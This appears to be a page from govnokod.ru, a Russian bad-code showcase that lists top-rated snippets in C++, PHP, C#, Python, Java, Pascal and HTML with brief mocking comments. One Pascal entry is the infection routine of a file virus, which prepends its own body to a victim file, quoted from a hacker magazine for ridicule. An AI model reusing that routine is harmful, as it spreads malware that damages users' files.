1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #14804

    +36

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    #include <iostream>
    #include <cmath> 
    
    struct Point3D
    {
            float x,y,z;
            Point3D () {}
            Point3D (float x, float y, float z) : x(x), y(y), z(z) {}
            Point3D& operator -= (const Point3D& p) { x-=p.x; y-=p.y; z-=p.z; return *this; }
            Point3D operator - (const Point3D& p) const { Point3D p2(*this); return (p2-=p); }
            Point3D& operator *= (const float f) { x*=f; y*=f; z*=f; return *this; }
            Point3D operator * (const float f) const { Point3D p2(*this); return (p2*=f); }
    };
    
    float Dot (const Point3D& p1, const Point3D& p2) { return p1.x*p2.x + p1.y*p2.y + p1.z*p2.z; }
    
    struct Face
    {
            Point3D            n;
            float              nc;
            float Dist (const Point3D& p) const { return Dot(p,n)-nc; }
    };
    
    int show_float(float src)
    {
            union
            {
                    int i;
                    float f;
            } u;
            u.f = src;
            return u.i;
    }
    
    float from_int(int src)
    {
            union
            {
                    int i;
                    float f;
            } u;
            u.i = src;
            return u.f;
    }
    
    template<typename T>
    T& operator<<(T& str, const Point3D& p)
    {
            str << std::hex << "Point3D(from_int(0x" << show_float(p.x) << "), from_int(0x" << show_float(p.y) << "), from_int(0x" << show_float(p.z) << "))";
            return str;
    }
    
    struct SPoint
    {
            Point3D p;
            bool DoCorrectFace(const Face& face)
            {
                    bool correct = true;
                    float j=1.0f;
                    Point3D np=p;
                    for (;;)
                    {
                            float ad = face.Dist(np);
                            if (ad<=0.0f)
                                    break;
                            correct=false;
                            np = p - (face.n*(ad*j));
                            j += 1.0f;
                    }
                    p=np;
                    return correct;
            }
    }; 
    
    using namespace std;
    int main()
    {
            cout << "Hello World!" << endl;
            SPoint spoint;
            spoint.p = Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0));
            cout << "Initial p:" << endl;
            cout << spoint.p << endl;
            cout << "Corrected:" << endl;
    
            Face f;
            f.n = Point3D(from_int(0x3d6cc83b), from_int(0x3f0e8841), from_int(0x3f5422bd));
            f.nc = from_int(0x41bac3dc); 
    
            bool result = spoint.DoCorrectFace(f);
            cout << spoint.p << endl;
            cout << "Done: " << result << endl;
            return 0;
    }

    говно в gcc
    g++ (rev5, Built by MinGW-W64 project) 4.8.1
    вывод в -O2 -DNDEBUG :

    Hello World!
    Initial p:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Corrected:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d1))
    Done: 0

    вывод в -O3 -DNDEBUG:

    Hello World!
    Initial p:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Corrected:
    Point3D(from_int(0x41c6940e), from_int(0x427352a6), from_int(0xc166e2d0))
    Done: 0

    внимание вопрос: может ли быть такое, что DoCorrectFace не изменил точку ни на бит, но вернул false? В gcc может!

    TarasB, 23 Февраля 2014

    Комментарии (119)
  3. PHP / Говнокод #13569

    +162

    1. 1
    if(count($pacients)>-1) {

    зачем так сложно писать if(true) ? да и зачем вообще..

    shitcoder, 08 Августа 2013

    Комментарии (119)
  4. C# / Говнокод #12800

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    protected static long chr2hex(char a)
    {
        switch (a)
        {
            case '0':
                return 0L;
            ...................
            case '9':
                return 9L;
            case 'A':
            case 'a':
                return 10L;
            .....................
            case 'F':
            case 'f':
                return 15L;
        }
        return 0L;
    }

    Как же это бесит, бля...

    grobotron, 25 Марта 2013

    Комментарии (119)
  5. C++ / Говнокод #5701

    +171

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    #include <iostream>
    
    template <int n>
    struct Solution
    {
      static const int count = Solution<n / 10>::count + 1;
      static const int sum = Solution<n / 10>::sum + n % 10;
      static const int last = n % 10;
      static const int first = Solution<n / 10>::first;
    };
    
    #define DECLARE_ONE_DIGIT_SOLUTION(n) template <>\
                                          struct Solution<n>\
                                          {\
                                            static const int count = 1;\
                                            static const int sum = n;\
                                            static const int last = n;\
                                            static const int first = n;\
                                          };
    
    DECLARE_ONE_DIGIT_SOLUTION(0)
    DECLARE_ONE_DIGIT_SOLUTION(1)
    DECLARE_ONE_DIGIT_SOLUTION(2)
    DECLARE_ONE_DIGIT_SOLUTION(3)
    DECLARE_ONE_DIGIT_SOLUTION(4)
    DECLARE_ONE_DIGIT_SOLUTION(5)
    DECLARE_ONE_DIGIT_SOLUTION(6)
    DECLARE_ONE_DIGIT_SOLUTION(7)
    DECLARE_ONE_DIGIT_SOLUTION(8)
    DECLARE_ONE_DIGIT_SOLUTION(9)
    
    int main()
    {
      const int number = 1024; // <-- то самое число a
    
      std::cout << "Number of digits: " << Solution<number>::count << std::endl;
      std::cout << "Sum: " << Solution<number>::sum << std::endl;
      std::cout << "Last digit: " << Solution<number>::last << std::endl;
      std::cout << "First digit: " << Solution<number>::first << std::endl;
    
      return 0;
    }

    Это один из ответов к слезной просьбе какого-то школьника (студента) выполнить за него д/з на С++ в разделе development форума на ЛОРе. Такую программу нарочно хрен напишешь.

    Само задание: «Дано натуральное число а (a≤100). Напишите программу, определяющую количество цифр в этом числе, сумму его цифр, выводящую на экран первую и последнюю цифру через два пробела».

    deniska, 16 Февраля 2011

    Комментарии (119)
  6. Куча / Говнокод #29190

    0

    1. 1
    IT Оффтоп #222

    #192: https://govnokod.ru/28886 https://govnokod.xyz/_28886
    #193: https://govnokod.ru/28911 https://govnokod.xyz/_28911
    #194: https://govnokod.ru/28914 https://govnokod.xyz/_28914
    #195: https://govnokod.ru/28917 https://govnokod.xyz/_28917
    #196: https://govnokod.ru/28925 https://govnokod.xyz/_28925
    #197: https://govnokod.ru/28935 https://govnokod.xyz/_28935
    #198: https://govnokod.ru/28938 https://govnokod.xyz/_28938
    #199: https://govnokod.ru/28942 https://govnokod.xyz/_28942
    #200: https://govnokod.ru/28945 https://govnokod.xyz/_28945
    #201: https://govnokod.ru/28948 https://govnokod.xyz/_28948
    #202: https://govnokod.ru/28951 https://govnokod.xyz/_28951
    #203: https://govnokod.ru/28954 https://govnokod.xyz/_28954
    #204: https://govnokod.ru/28971 https://govnokod.xyz/_28971
    #205: https://govnokod.ru/28986 https://govnokod.xyz/_28986
    #206: https://govnokod.ru/28991 https://govnokod.xyz/_28991
    #207: https://govnokod.ru/29002 https://govnokod.xyz/_29002
    #208: https://govnokod.ru/29060 https://govnokod.xyz/_29060
    #209: https://govnokod.ru/29070 https://govnokod.xyz/_29070
    #210: https://govnokod.ru/29079 https://govnokod.xyz/_29079
    #211: https://govnokod.ru/29092 https://govnokod.xyz/_29092
    #212: https://govnokod.ru/29093 https://govnokod.xyz/_29093
    #213: https://govnokod.ru/29104 https://govnokod.xyz/_29104
    #214: https://govnokod.ru/29114 https://govnokod.xyz/_29114
    #215: https://govnokod.ru/29125 https://govnokod.xyz/_29125
    #216: https://govnokod.ru/29132 https://govnokod.xyz/_29132
    #217: https://govnokod.ru/29147 https://govnokod.xyz/_29147
    #218: https://govnokod.ru/29156 https://govnokod.xyz/_29156
    #219: https://govnokod.ru/29166 https://govnokod.xyz/_29166
    #220: https://govnokod.ru/29181 https://govnokod.xyz/_29181
    #221: https://govnokod.ru/29185 https://govnokod.xyz/_29185

    nepeKamHblu_nemyx, 22 Октября 2025

    Комментарии (118)
  7. PHP / Говнокод #26418

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if ($input->search_text!=""){
    		if ($input->search_text=="хуйня" or $input->search_text=="ХУЙНЯ" or $input->search_text=="Хуйня")
    			$this->result.="У нас серьезная компания и мы всякой хуйни на сайте не держим.";
    		else{
    		if (strlen($input->search_text)<2)
    			$this->result.="Строка поискового запроса должна состоять минимум из 2 символов.<br>Пожалуйста, измените Ваш запрос и повторите поиск.";
    		else{
    			$result.="Вы искали: <u><b>".$input->search_text."</b></u><br><br>";

    Вот такие вот пасхалки у серьёзных компаний. И такой код.

    vistefan, 07 Февраля 2020

    Комментарии (118)
  8. Python / Говнокод #24306

    +1

    1. 1
    2. 2
    In [42]: os.path.join(r'c:\asd', r'c:\www')
    Out[42]: 'c:\\www'

    Нахуя???

    syoma, 23 Мая 2018

    Комментарии (118)
  9. Java / Говнокод #15809

    +64

    1. 1
    short someShort = (short) (someBoolean ? 15 : 42);

    такая удобная Java

    evg_ever, 21 Апреля 2014

    Комментарии (118)
  10. Pascal / Говнокод #15557

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    procedure infect(victim:string);
    var
    a:integer;
    
    Buf: array[1..virsize] of byte;
    nr,nw:longint;
    begin
    try
    randomize;
    assignfile(f1,victim);
    a:=random(200);
    rename(f1,'bad'+inttostr(a)) ;
    filemode :=0;
    assignfile(f2,paramstr(0));
    reset(f2,1) ;
    seek(f2,0);
    blockread(f2,buf,virsize);
    filemode:=2 ;
    closefile(f2);
    assignfile(f1,victim);
    rewrite(f1,1);
    blockwrite(f1,buf,virsize);
    assignfile(f2,'bad'+inttostr(a));
    reset(f2,1);
    seek(f2,0);
    repeat
    BlockRead(f2, Buf,virsize, NR);
    BlockWrite(f1, Buf, NR, NW);
    until (NR = 0) or (NW <> NR);
    closefile(f1);
    closefile(f2);
    deletefile(pchar('bad'+inttostr(a)))
    except
    end;
    end;

    Ксакеп, нуфф сказал.
    http://www.xakep.ru/post/23374/

    gost, 23 Марта 2014

    Комментарии (118)
  11. Куча / Говнокод #8524

    +66

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    Какая у вас OS?
    
    <select name="os">
    <option value="win">Windows
    <option value="mac">Mac OS
    <option value="linux">Linux
    ....
    <option value="win">Не знаю
    </select>

    С баша, по сути не говнокод, но доставляет...

    Nemoden, 15 Ноября 2011

    Комментарии (118)